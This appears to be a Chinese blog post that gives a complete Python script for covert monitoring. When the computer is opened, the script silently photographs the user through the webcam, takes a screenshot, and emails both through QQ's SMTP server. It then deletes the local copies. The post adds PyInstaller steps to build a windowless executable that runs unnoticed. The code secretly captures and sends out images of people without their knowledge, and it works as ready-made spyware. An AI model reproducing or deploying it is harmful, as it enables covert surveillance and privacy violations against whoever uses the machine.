python自动拍照,截屏发送至手机上

Clay-A 2024-10-26 12:05:24 阅读 87

这个代码时用python写的一个脚本,我使用的方面是,别人只要打开我的电脑,这个脚本就会拍一张电脑使用人,还有把电脑屏幕截屏一次,别人不会发现。

这个要用到QQ邮箱的SMTP服务器地址和密码,这个你们可以在网上找一下教程很多,稍微调试一下代码就可以用了,

<code>import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

from email.mime.image import MIMEImage

from email.header import Header

import pyautogui

import os

import cv2

# 邮件配置信息

sender_receiver = '@qq.com' #邮箱名字比如12346@qq.com

smtp_info = {

'server': 'smtp.qq.com',

'port': 587,

'username': '@qq.com',#邮箱名字比如12346@qq.com

'password': '*********', #这是邮箱密码,不是登录密码 SMTP服务器密码

}

# 邮件内容设置

subject = '有人打开了你的电脑'

body = '您的电脑已被开启,并有摄像头记录,请留意。'

# 屏幕截图保存路径,保存到D盘根目录

screenshot_path = "D:\\screenshot.jpg"

# 摄像头捕捉图像保存路径,保存到D盘根目录

camera_capture_path = "D:\\camera_capture.jpg"

def capture_screenshot(path):

"""捕获屏幕截图并保存"""

pyautogui.screenshot(path)

print(f"屏幕截图已保存至{path}")

def capture_image_from_camera(path):

"""使用摄像头捕获单帧图像并保存"""

cap = cv2.VideoCapture(0)

if not cap.isOpened():

print("无法打开摄像头")

return

ret, frame = cap.read()

cap.release()

if ret:

cv2.imwrite(path, frame)

print(f"摄像头图像已保存至{path}")

else:

print("捕获图像失败")

# 执行屏幕截图和摄像头捕捉

capture_screenshot(screenshot_path)

capture_image_from_camera(camera_capture_path)

# 创建邮件消息

msg = MIMEMultipart()

msg['From'] = Header(sender_receiver)

msg['To'] = Header(sender_receiver)

msg['Subject'] = Header(subject)

msg.attach(MIMEText(body, 'plain', 'utf-8'))

# 添加屏幕截图附件

with open(screenshot_path, 'rb') as f:

img_data_screen = f.read()

img_screen = MIMEImage(img_data_screen, name=os.path.basename(screenshot_path))

msg.attach(img_screen)

# 添加摄像头捕捉图像附件

with open(camera_capture_path, 'rb') as cam_f:

img_data_cam = cam_f.read()

img_cam = MIMEImage(img_data_cam, name=os.path.basename(camera_capture_path))

msg.attach(img_cam)

# 发送邮件

try:

with smtplib.SMTP(smtp_info['server'], smtp_info['port']) as server:

server.starttls() # 启用安全传输

server.login(smtp_info['username'], smtp_info['password'])

server.send_message(msg)

print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!")

# 删除已发送的照片文件

os.remove(screenshot_path)

os.remove(camera_capture_path)

print(f"照片已永久删除: {screenshot_path} 和 {camera_capture_path}")

except Exception as e:

print(f"邮件发送失败: {e}")

# 如果邮件发送失败,不删除照片,以便后续可能的重试或问题排查

print("照片未被删除,因为邮件发送失败。")

# 注意替换上述代码中的'your_email@example.com'、'smtp.example.com'、'your_password'为实际的邮箱地址、SMTP服务器地址和密码。

代码必须要打包出来 

#在Windows上,将Python程序打包成可以在后台运行的应用程序,你可以使用以下步骤:

#编写你的Python脚本:

#确保你的脚本能够在命令行界面中运行,没有依赖于图形界面的部分。

#使用PyInstaller打包脚本:

PyInstaller是一个流行的工具,可以将Python脚本转换为独立的可执行文件(.exe)。安装PyInstaller:

pip install pyinstaller

#打包你的脚本:

#在命令行中,导航到你的脚本所在的目录,并运行以下命令:

pyinstaller --onefile --windowed your_script.py

#这里,--onefile选项创建单个可执行文件,--windowed选项防止显示命令行窗口。

效果图:



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。